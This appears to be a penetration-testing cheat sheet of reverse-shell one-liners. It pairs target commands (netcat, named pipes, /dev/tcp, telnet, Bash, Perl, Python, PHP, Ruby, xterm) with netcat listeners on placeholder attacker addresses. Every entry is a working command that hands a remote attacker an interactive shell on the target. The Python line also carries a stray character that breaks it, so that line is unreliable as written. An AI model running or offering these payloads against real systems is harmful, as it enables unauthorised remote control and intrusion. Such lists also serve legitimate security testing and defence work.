1. NETCAT with GAPING_SECURITY_HOLE enabled:
    TARGET: nc 192.168.1.133 8080 -e /bin/bash
    ATTACKER: nc -n -vv -l -p 8080

    2. NETCAT with GAPING_SECURITY_HOLE disabled:
    TARGET: mknod backpipe p && nc 192.168.1.133 8080 0<backpipe | /bin/bash 1>backpipe
    ATTACKER: nc -n -vv -l -p 8080

    3. Don’t have NETCAT, then try the /dev/tcp socket method:
    TARGET: /bin/bash -i > /dev/tcp/192.168.1.133/8080 0<&1 2>&1
    ATTACKER: nc -n -vv -l -p 8080

    4. Don’t have access to NETCAT or  dev/tcp? We can try using a telnet and backpipe to execute commands, like so:
    TARGET: mknod backpipe p && telnet 192.168.1.133 8080 0<backpipe | /bin/bash 1>backpipe
    ATTACKER: nc -n -vv -l -p 8080

    5. Telnet – Plan B method using piped connections:
    TARGET: telnet 127.0.0.1 8080 | /bin/bash | telnet 127.0.0.1 8888
    ATTACKER: nc -n -vv -l -p 8080
    ATTACKER2: nc -n -vv -l -p 8888

    6. Using straight BASH:
    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

    7. Inline Perl:
    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    8. Python:
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec?t(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    9. Inline PHP:
    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

    10. Ruby:
    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

    11. Using Xterm (if available):
    xterm -display 10.0.0.1:1